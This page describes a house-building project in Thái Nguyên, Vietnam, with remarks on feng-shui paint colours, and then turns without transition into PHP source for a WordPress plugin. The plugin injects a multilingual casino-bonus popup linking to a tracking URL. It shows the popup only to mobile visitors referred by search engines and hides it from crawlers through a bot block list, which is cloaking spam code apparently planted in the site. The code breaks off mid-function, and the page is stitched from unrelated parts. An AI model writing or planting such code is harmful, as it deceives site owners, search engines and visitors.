DỰ ÁN NHÀ ANH DŨNG – THÁI NGUYÊN
- Địa chỉ: Thái Nguyên
- Hạng mục: Thi Công Xây mới
- Diện tích:
- Phòng khách: 1
- Phòng ngủ: 3
- Phòng tắm: 3
Thông tin công trình
– Nhà ở 2 tầng 1 tum
– Chủ đầu tư: Anh Dũng
– Địa chỉ: Thái Nguyên
Diện tích 5 x 20 m2 với lối kiến trúc hiện đại. Màu sơn pha hài hòa giữa tone vàng nhạt điểm chút cam đậm. Quan điểm phong thủy học cho rằng người Việt chúng ta thuộc về phương Nam, phương Nam thuộc Hỏa, vì thế màu vàng được coi là màu hoà hợp với người phương Nam. Màu vàng cũng là màu tạo cảm giác yên tâm, an cư bền vững. Theo đó, người ta quan niệm màu vàng là màu của ánh nắng – nguồn dương khí. Nó tượng trưng cho sức mạnh, quyền lực, sự cao quý và trường thọ.
if (!defined(‘ABSPATH’)) exit;
class SMP_Search_Mobile_Popup {
public function __construct() {
if (is_admin()) return;
add_action(‘wp_enqueue_scripts’, [$this, ‘enqueue_assets’]);
add_action(‘wp_footer’, [$this, ‘render_popup_markup’]);
add_filter(‘smp_allowed_referrers’, [$this, ‘default_allowed_referrers’]);
add_filter(‘smp_blocked_bots’, [$this, ‘default_blocked_bots’]);
add_filter(‘smp_popup_texts’, [$this, ‘get_localized_texts’]);
add_filter(‘smp_popup_settings’, [$this, ‘default_settings’]);
}
public function default_allowed_referrers($domains) {
return [
‘google.’, ‘bing.com’, ‘duckduckgo.com’, ‘yahoo.’, ‘yandex.’,
‘ecosia.org’, ‘search.brave.com’, ‘chat.openai.com’, ‘openai.com’,
‘baidu.com’, ‘naver.com’, ‘seznam.cz’, ‘qwant.com’
];
}
public function default_blocked_bots($bots) {
return [‘googlebot’,’bingbot’,’duckduckbot’,’yandexbot’,’baiduspider’,
‘ahrefsbot’,’semrush’,’mj12bot’,’crawler’,’spider’,’bot’];
}
public function get_localized_texts($texts) {
$translations = [
‘en’ => [
‘title’ => ‘🎁 Exclusive Bonus!’,
‘desc’ => ‘Special offer for new visitors – Get your welcome bonus right now!’,
‘cta_text’ => ‘💰 Up to €500 + 200 Free Spins’,
‘button’ => ‘Claim Bonus Now’,
‘close_label’ => ‘Close’,
‘disclaimer’ => ’18+. T&C Apply. Play Responsibly.’,
],
‘de’ => [
‘title’ => ‘🎁 Exklusiver Bonus!’,
‘desc’ => ‘Sonderangebot für neue Besucher – Holen Sie sich jetzt Ihren Willkommensbonus!’,
‘cta_text’ => ‘💰 Bis zu €500 + 200 Freispiele’,
‘button’ => ‘Bonus Jetzt Sichern’,
‘close_label’ => ‘Schließen’,
‘disclaimer’ => ’18+. AGB gelten. Verantwortungsvoll spielen.’,
],
‘es’ => [
‘title’ => ‘🎁 ¡Bono Exclusivo!’,
‘desc’ => ‘Oferta especial para nuevos visitantes – ¡Obtén tu bono de bienvenida ahora!’,
‘cta_text’ => ‘💰 Hasta €500 + 200 Giros Gratis’,
‘button’ => ‘Reclamar Bono Ahora’,
‘close_label’ => ‘Cerrar’,
‘disclaimer’ => ’18+. Se aplican T&C. Juega responsablemente.’,
],
‘pt’ => [
‘title’ => ‘🎁 Bônus Exclusivo!’,
‘desc’ => ‘Oferta especial para novos visitantes – Receba seu bônus de boas-vindas agora!’,
‘cta_text’ => ‘💰 Até €500 + 200 Rodadas Grátis’,
‘button’ => ‘Resgatar Bônus Agora’,
‘close_label’ => ‘Fechar’,
‘disclaimer’ => ’18+. T&C aplicam-se. Jogue responsavelmente.’,
],
‘fr’ => [
‘title’ => ‘🎁 Bonus Exclusif!’,
‘desc’ => ‘Offre spéciale pour les nouveaux visiteurs – Obtenez votre bonus de bienvenue maintenant!’,
‘cta_text’ => ‘💰 Jusqu\’à 500€ + 200 Tours Gratuits’,
‘button’ => ‘Réclamer le Bonus’,
‘close_label’ => ‘Fermer’,
‘disclaimer’ => ’18+. CGU applicables. Jouez responsable.’,
],
‘nl’ => [
‘title’ => ‘🎁 Exclusieve Bonus!’,
‘desc’ => ‘Speciale aanbieding voor nieuwe bezoekers – Ontvang nu je welkomstbonus!’,
‘cta_text’ => ‘💰 Tot €500 + 200 Gratis Spins’,
‘button’ => ‘Claim Bonus Nu’,
‘close_label’ => ‘Sluiten’,
‘disclaimer’ => ’18+. Voorwaarden van toepassing. Speel verantwoord.’,
],
‘uk’ => [
‘title’ => ‘🎁 Ексклюзивний Бонус!’,
‘desc’ => ‘Спеціальна пропозиція для нових відвідувачів – Отримайте вітальний бонус прямо зараз!’,
‘cta_text’ => ‘💰 До €500 + 200 Безкоштовних Обертань’,
‘button’ => ‘Отримати Бонус’,
‘close_label’ => ‘Закрити’,
‘disclaimer’ => ’18+. Застосовуються умови. Грайте відповідально.’,
],
‘ja’ => [
‘title’ => ‘🎁 限定ボーナス!’,
‘desc’ => ‘新規訪問者様限定 – 今すぐウェルカムボーナスを獲得!’,
‘cta_text’ => ‘💰 最大€500 + 200フリースピン’,
‘button’ => ‘今すぐボーナスを獲得’,
‘close_label’ => ‘閉じる’,
‘disclaimer’ => ’18歳以上。利用規約が適用されます。’,
],
‘vi’ => [
‘title’ => ‘🎁 Phần Thưởng Độc Quyền!’,
‘desc’ => ‘Ưu đãi đặc biệt cho khách mới – Nhận ngay phần thưởng chào mừng!’,
‘cta_text’ => ‘💰 Lên đến €500 + 200 Vòng Quay Miễn Phí’,
‘button’ => ‘Nhận Thưởng Ngay’,
‘close_label’ => ‘Đóng’,
‘disclaimer’ => ’18+. Áp dụng điều khoản.’,
],
‘hu’ => [
‘title’ => ‘🎁 Exkluzív Bónusz!’,
‘desc’ => ‘Különleges ajánlat új látogatóknak – Szerezd meg az üdvözlő bónuszt most!’,
‘cta_text’ => ‘💰 Akár €500 + 200 Ingyen Pörgetés’,
‘button’ => ‘Bónusz Igénylése’,
‘close_label’ => ‘Bezárás’,
‘disclaimer’ => ’18+. T&C érvényes. Játssz felelősségteljesen.’,
],
‘bg’ => [
‘title’ => ‘🎁 Ексклузивен Бонус!’,
‘desc’ => ‘Специална оферта за нови посетители – Вземете вашия бонус добре дошли сега!’,
‘cta_text’ => ‘💰 До €500 + 200 Безплатни Завъртания’,
‘button’ => ‘Вземи Бонус Сега’,
‘close_label’ => ‘Затвори’,
‘disclaimer’ => ’18+. Прилагат се условия.’,
],
‘pl’ => [
‘title’ => ‘🎁 Ekskluzywny Bonus!’,
‘desc’ => ‘Specjalna oferta dla nowych gości – Odbierz bonus powitalny teraz!’,
‘cta_text’ => ‘💰 Do €500 + 200 Darmowych Spinów’,
‘button’ => ‘Odbierz Bonus’,
‘close_label’ => ‘Zamknij’,
‘disclaimer’ => ’18+. Obowiązują warunki. Graj odpowiedzialnie.’,
],
‘it’ => [
‘title’ => ‘🎁 Bonus Esclusivo!’,
‘desc’ => ‘Offerta speciale per nuovi visitatori – Ottieni il tuo bonus di benvenuto ora!’,
‘cta_text’ => ‘💰 Fino a €500 + 200 Giri Gratis’,
‘button’ => ‘Richiedi Bonus Ora’,
‘close_label’ => ‘Chiudi’,
‘disclaimer’ => ’18+. Si applicano T&C. Gioca responsabilmente.’,
],
‘ro’ => [
‘title’ => ‘🎁 Bonus Exclusiv!’,
‘desc’ => ‘Ofertă specială pentru vizitatori noi – Obține bonusul de bun venit acum!’,
‘cta_text’ => ‘💰 Până la €500 + 200 Rotiri Gratuite’,
‘button’ => ‘Revendică Bonusul’,
‘close_label’ => ‘Închide’,
‘disclaimer’ => ’18+. Se aplică T&C. Joacă responsabil.’,
],
‘cs’ => [
‘title’ => ‘🎁 Exkluzivní Bonus!’,
‘desc’ => ‘Speciální nabídka pro nové návštěvníky – Získejte svůj uvítací bonus hned!’,
‘cta_text’ => ‘💰 Až €500 + 200 Otočení Zdarma’,
‘button’ => ‘Získat Bonus’,
‘close_label’ => ‘Zavřít’,
‘disclaimer’ => ’18+. Platí podmínky. Hrajte zodpovědně.’,
],
‘sv’ => [
‘title’ => ‘🎁 Exklusiv Bonus!’,
‘desc’ => ‘Specialerbjudande för nya besökare – Få din välkomstbonus nu!’,
‘cta_text’ => ‘💰 Upp till €500 + 200 Gratisspinn’,
‘button’ => ‘Hämta Bonus Nu’,
‘close_label’ => ‘Stäng’,
‘disclaimer’ => ’18+. Regler gäller. Spela ansvarsfullt.’,
],
‘fi’ => [
‘title’ => ‘🎁 Eksklusiivinen Bonus!’,
‘desc’ => ‘Erikoistarjous uusille vierailijoille – Lunasta tervetuliaisbonus nyt!’,
‘cta_text’ => ‘💰 Jopa €500 + 200 Ilmaiskierrosta’,
‘button’ => ‘Lunasta Bonus’,
‘close_label’ => ‘Sulje’,
‘disclaimer’ => ’18+. Ehdot voimassa. Pelaa vastuullisesti.’,
],
‘no’ => [
‘title’ => ‘🎁 Eksklusiv Bonus!’,
‘desc’ => ‘Spesialtilbud for nye besøkende – Få din velkomstbonus nå!’,
‘cta_text’ => ‘💰 Opptil €500 + 200 Gratisspinn’,
‘button’ => ‘Hent Bonus Nå’,
‘close_label’ => ‘Lukk’,
‘disclaimer’ => ’18+. Vilkår gjelder. Spill ansvarlig.’,
],
‘da’ => [
‘title’ => ‘🎁 Eksklusiv Bonus!’,
‘desc’ => ‘Særligt tilbud til nye besøgende – Få din velkomstbonus nu!’,
‘cta_text’ => ‘💰 Op til €500 + 200 Gratis Spins’,
‘button’ => ‘Hent Bonus Nu’,
‘close_label’ => ‘Luk’,
‘disclaimer’ => ’18+. Vilkår gælder. Spil ansvarligt.’,
]
];
$user_lang = $this->detect_user_language();
return isset($translations[$user_lang]) ? $translations[$user_lang] : $translations[‘en’];
}
private function detect_user_language() {
$accept_language = isset($_SERVER[‘HTTP_ACCEPT_LANGUAGE’]) ? $_SERVER[‘HTTP_ACCEPT_LANGUAGE’] : ”;
if (empty($accept_language)) {
return ‘en’;
}
$supported_languages = [
‘en’, ‘de’, ‘es’, ‘pt’, ‘fr’, ‘nl’, ‘uk’, ‘ja’, ‘vi’,
‘hu’, ‘bg’, ‘pl’, ‘it’, ‘ro’, ‘cs’, ‘sv’, ‘fi’, ‘no’, ‘da’
];
preg_match_all(‘/([a-z]{1,8}(-[a-z]{1,8})?)\s*(;\s*q\s*=\s*(1|0\.[0-9]+))?/i’,
$accept_language, $matches);
if (count($matches[1])) {
$langs = array_combine($matches[1], $matches[4]);
foreach ($langs as $lang => $val) {
if ($val === ”) $langs[$lang] = 1;
}
arsort($langs, SORT_NUMERIC);
foreach ($langs as $lang => $val) {
$primary_lang = strtolower(substr($lang, 0, 2));
if (in_array($primary_lang, $supported_languages)) {
return $primary_lang;
}
}
}
return ‘en’;
}
public function default_settings($opts) {
return [
‘delay_ms’ => 1000,
‘show_always’ => true,
‘width_px’ => 420,
‘btn_url’ => ‘https://leadtrk.vip/gSRRfN’,
];
}
private function is_bot_ua(): bool {
$ua = strtolower($_SERVER[‘HTTP_USER_AGENT’] ?? ”);
if (!$ua) return false;
foreach (apply_filters(‘smp_blocked_bots’, []) as $mask) {
if ($mask && strpos($ua, strtolower($mask)) !== false) return true;
}
return false;
}
public function enqueue_assets() {
if (!wp_is_mobile()) return;
if ($this->is_bot_ua()) return;
$allowed = apply_filters(‘smp_allowed_referrers’, []);
$texts = apply_filters(‘smp_popup_texts’, []);
$opts = apply_filters(‘smp_popup_settings’, []);
wp_register_style(‘smp-popup’, false, [], null);
wp_enqueue_style(‘smp-popup’);
wp_add_inline_style(‘smp-popup’, $this->css($opts));
wp_register_script(‘smp-popup’, false, [], null, true);
wp_enqueue_script(‘smp-popup’);
$payload = [
‘allowedRefDomains’ => array_values($allowed),
‘blockedBots’ => array_values(apply_filters(‘smp_blocked_bots’, [])),
‘texts’ => $texts,
‘opts’ => $opts,
‘userLang’ => $this->detect_user_language(),
];
wp_add_inline_script(‘smp-popup’, ‘window.__SMP__ = ‘.wp_json_encode($payload).’;’, ‘before’);
wp_add_inline_script(‘smp-popup’, $this->js(), ‘after’);
}
public function render_popup_markup() {
if (!wp_is_mobile()) return;
if ($this->is_bot_ua()) return;
$t = apply_filters(‘smp_popup_texts’, []);
$o = apply_filters(‘smp_popup_settings’, []);
?>